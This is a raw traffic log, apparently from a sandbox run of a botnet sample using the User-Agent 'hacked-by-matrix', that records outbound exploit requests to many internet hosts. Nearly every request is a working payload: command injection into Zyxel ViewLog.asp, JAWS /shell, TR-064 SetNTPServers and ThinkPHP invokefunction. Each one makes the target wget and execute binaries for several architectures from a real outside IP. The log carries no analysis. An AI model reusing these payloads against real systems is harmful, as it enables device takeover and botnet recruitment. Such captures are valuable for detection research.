Mar 21, 2024 05:17:26.355983973 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.23	35018	83.66.141.224	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.356049061 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.23	54214	23.48.11.95	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.386871099 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:26.480998039 CET	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Thu, 21 Mar 2024 04:17:26 GMT Date: Thu, 21 Mar 2024 04:17:26 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 64 32 36 34 33 30 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 36 34 36 26 23 34 36 3b 30 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 37 26 23 34 36 3b 64 32 36 34 33 30 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 36 34 36 26 23 34 36 3b 30 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.d2643017.1710994646.0<P>https://errors.edgesuite.net/7.d2643017.1710994646.0</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.23	46418	18.224.207.117	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.405667067 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:26.508348942 CET	174	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.23	33558	86.160.181.196	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.434134960 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.23	58574	95.166.122.23	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.434283972 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:26.657015085 CET	478	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 256 Expires: Thu, 21 Mar 2024 04:17:26 GMT Date: Thu, 21 Mar 2024 04:17:26 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 37 37 61 61 36 35 66 26 23 34 36 3b 31 37 31 30 39 39 34 36 34 36 26 23 34 36 3b 36 35 66 35 38 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.177aa65f.1710994646.65f582</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.23	44588	95.216.227.237	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.434356928 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:26.657303095 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:26 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.23	45410	95.181.181.250	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.450901031 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:26.658452988 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:26 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.23	19039	200.142.167.30	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.469075918 CET	40	IN	Data Raw: 52 65 73 65 74 20 66 72 6f 6d 20 6c 6f 63 61 6c 3a 28 31 35 36 36 29 20 73 65 71 20 3d 20 33 33 36 34 37 39 32 30 39 35 Data Ascii: Reset from local:(1566) seq = 3364792095

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.23	48118	213.102.154.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.656100035 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:26.896112919 CET	342	IN	HTTP/1.1 501 Not Implemented Cache-Control: no-store Connection: close Content-Length: 137 Date: Thu, 21 Mar 2024 04:16:54 GMT Expires: 0 Pragma: no-cache X-Frame-Options: sameorigin Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!doctype html><html><head><title>Error 501: Not Implemented</title></head><body><h1>Error 501: Not Implemented</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.23	54844	66.226.152.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.658432007 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:26.822058916 CET	525	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:15:52 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.23	52068	82.196.16.223	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.742707968 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:26.915618896 CET	1008	IN	HTTP/1.1 404 Date: Thu, 21 Mar 2024 04:03:44 GMT Server: Apache Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 788 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 5b 26 23 34 37 3b 67 75 61 63 61 6d 6f 6c 65 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 5d 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 39 2e 30 2e 37 33 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> The requested resource [/guacamole/cgi-bin/ViewLog.asp] is not available</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.73</h3></body></html>
Mar 21, 2024 05:17:26.915636063 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:03:44 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.23	55322	200.187.83.212	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.802970886 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
